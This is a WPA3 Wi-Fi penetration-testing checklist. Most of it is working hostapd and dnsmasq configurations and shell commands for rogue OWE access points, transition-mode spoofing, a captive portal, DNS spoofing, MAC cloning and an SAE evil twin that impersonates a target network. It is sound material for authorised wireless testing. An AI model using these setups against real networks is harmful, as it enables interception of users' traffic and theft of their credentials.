Wi-Fi WPA3 Basic Wireless Pentest Checklist

OWE

• Create a hostapd.conf file:

interface=<interface>
ssid=<SSID>
bssid=<MAC of target AP>
channel=<channel>
ieee80211w=2
wpa=2
wpa_key_mgmt=OWE
rsn_pairwise=CCMP

• Launch rogue AP

sudo hostapd hostapd.conf

Simple captive portal

• Use Nagaw - https://github.com/bransh/Nagaw

python nagaw.py -i <interface 1> -o <interface 2> -t demo

OWE Collider

• Create a rogue AP using WPA2 with PSK with the same SSID and BSSID as the target
• This causes client devices to fail their connection attempt.
• Then create a second rogue AP using WPA 3 OWE and a different BSSID.
• SSID stripping can make the rogue AP look identical to the legitimate one.

OWE Transition mode

• If the OWE network is in transition mode it will broadcast an Open and OWE encrypted BSSID under the same SSID.
• Setup a rogue AP that mimics the Open and OWE networks and advertises the same OWE transition mode fields

interface=<interface>
ssid=<SSID>
bssid=<bssid>
channel=1
hw_mode=g
country_code=US
ignore_broadcast_ssid=1
ieee80211w=1
wpa=2
wpa_key_mgmt=OWE
rsn_pairwise=CCMP
owe_transition_ssid="<SSID>"
owe_transition_bssid=<BSSID>

bss=wlan0_0
ssid=<SSID OPEN>
bssid=<BSSID>
owe_transition_ssid="<SSID>"
owe_transition_bssid=<BSSID>

• The OWE_Transition_Bssid value should be the same value as the BSSID for the first AP.
• Configure DNS and DHCP for the fake AP
  • Set up DNS and DHCP for the fake network
  • Assig a valid IP to the wireless interface
  • Modify the MAC address of the wireless interface to resemble the target AP.
• DNSMasq configuration:

interface=wlan0
dhcp-range=10.0.0.100,10.0.0.254,255.255.255.0,24h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
server=8.8.4.4
listen-address=127.0.0.1
address=/#/10.0.0.1
log-dhcp
log-queries

sudo dnsmasq -C dnsmasq.conf -d

sudo ifconfig <interface> <ip/24>

• Enable IP forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

• Enable dnsspoof

sudo dnsspoof -i <interface>

• Launch the rogue AP

sudo hostapd <configuration file>

SAE Evil Twin

• You need to know the password of the target WPA3 network

• Then configure a rogue AP with the same BSSID and ESSID as the legit network

• Then can intercept network traffic on that network.

• Hostapd configuration:

ssid=<SSID>
interface=<Interface>
channel=<channel>
hw_mode=g

wpa=2
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
wpa_passphrase=<real password>

• Modify MAC address to match the BSSID of the target

sudo ifconfig <interface> down
sudo macchanger -m <MAC> <interface>
sudo ifconfig <interface> up

• Launch evil twin

sudo hostapd hostapd.conf